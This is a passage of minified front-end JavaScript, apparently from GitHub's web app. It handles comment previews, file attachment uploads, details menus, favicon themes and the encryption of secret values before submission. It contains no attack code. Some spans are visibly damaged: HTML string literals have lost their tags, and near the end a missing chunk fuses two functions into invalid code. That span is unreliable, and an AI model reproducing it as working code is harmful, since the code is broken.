w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return 